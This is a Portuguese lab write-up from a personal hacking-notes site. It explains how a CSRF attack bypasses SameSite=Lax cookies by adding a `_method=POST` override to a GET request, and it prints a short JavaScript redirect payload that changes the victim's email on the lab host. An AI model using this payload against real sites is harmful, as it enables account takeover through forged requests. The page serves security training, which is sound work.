> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/samesite-lax-bypass-via-method-override.md).

# Bypass do SameSite Lax via Substituição de Método

### Contorno de SameSite Lax via sobrescrita de método

O recurso de alteração do endereço de e-mail do laboratório é vulnerável a um ataque CSRF. O site usa SameSite=Lax, mas é possível contornar essa proteção forçando a consulta do método POST por meio de um parâmetro d-override (`&_method=POST`) na URL.

\*\* Objetivo\*\*/ Hospedar uma carga útil (explorada) no servidor de exploração que faz uma solicitação para alterar o endereço de e-mail para o nome da vítima para resolver o laboratório.

**Credenciais (conta de teste)**/ `wiener: peter`

<figure><img src="/files/91aca12a25cd4a356fcd5119afceec50b6f6046c" alt=""><figcaption></figcaption></figure>

* Uma solicitação GET para o endpoint de alteração de e-mail retorna que o método não é permitido.
* Adicionando o `&_method=POST` parâmetro na URL faz com que a solicitação seja aceita (o site aceita a sobrescrita para tratar a solicitação como um POST), o que permite executar a ação apesar de SameSite=Lax.

```
&_method=POST
```

<figure><img src="/files/53162f39d952e9e432817a57f79aeb22f7a81342" alt=""><figcaption></figcaption></figure>

#### **Payload do servidor de exploração**

O script a seguir redireciona a vítima para a URL de alteração de e-mail incluindo o parâmetro de sobrescrita para forçar um POST:

```javascript
<script>
  location="https://0af800380365a127808f0396006100a2.web-security-academy.net/my-account/change-email?email=hacked%40test.com&_method=POST";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/samesite-lax-bypass-via-method-override.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
